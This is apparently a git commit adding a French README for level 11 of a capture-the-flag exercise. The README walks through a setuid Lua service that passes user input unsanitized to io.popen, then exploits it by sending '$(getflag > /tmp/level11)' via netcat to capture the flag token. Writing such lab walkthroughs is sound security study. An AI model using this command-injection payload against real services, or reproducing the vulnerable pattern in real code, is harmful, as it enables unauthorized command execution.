docs(lvl11): adding the readme

This commit is contained in:
Raphael 2026-01-28 02:49:10 +01:00
parent 7fd59db89b
commit 3e60a1558d
No known key found for this signature in database

68
level11/README.md Normal file
View file

@ -0,0 +1,68 @@
Lors de mon arriver sur le level 11 je remarque un fichier lua lisble
```bash
ls -l
total 4
-rwsr-sr-x 1 flag11 level11 668 Mar 5 2016 level11.lua
```
Je l'ouvre pour regarder le contenue
```lua
#!/usr/bin/env lua
local socket = require("socket")
local server = assert(socket.bind("127.0.0.1", 5151))
function hash(pass)
prog = io.popen("echo "..pass.." | sha1sum", "r")
data = prog:read("*all")
prog:close()
data = string.sub(data, 1, 40)
return data
end
while 1 do
local client = server:accept()
client:send("Password: ")
client:settimeout(60)
local l, err = client:receive()
if not err then
print("trying " .. l)
local h = hash(l)
if h ~= "f05d1d066fb246efe0c6f7d095f909a7a0cf34a0" then
client:send("Erf nope..\n");
else
client:send("Gz you dumb*\n")
end
end
client:close()
end
```
Le hash a ete decode via [CrashStation](https://crackstation.net/) et donne en sha1 NotSoEasy
Ce n'est donc pas la reponse mais il fallait bien tenter
Lors de la lecture du script nous pouvons voir que le port 5151 est ouvert et donc nous pouvons essayer de le lancer avec un netcat en ecoute de ce dernier
Lorsqu'il est en ecoute il demande un password
```bash
nc localhost 5151
Password:
```
mais le hash est calculer en effectuant une commande `echo $args | sha1sum` (traduit en shell)
nous pouvons donc executer une commande sur cette derniere mais le resultat ne nous sera pas afficher car pas envoyer au client mais nous pouvons la lancer directement pour rediriger dans un fichier
```bash
nc localhost 5151
Password: $(getflag > /tmp/level11)
Erf nope...
cat /tmp/level11
Check flag.Here is your token : fa6v5ateaw21peobuub8ipe6s
```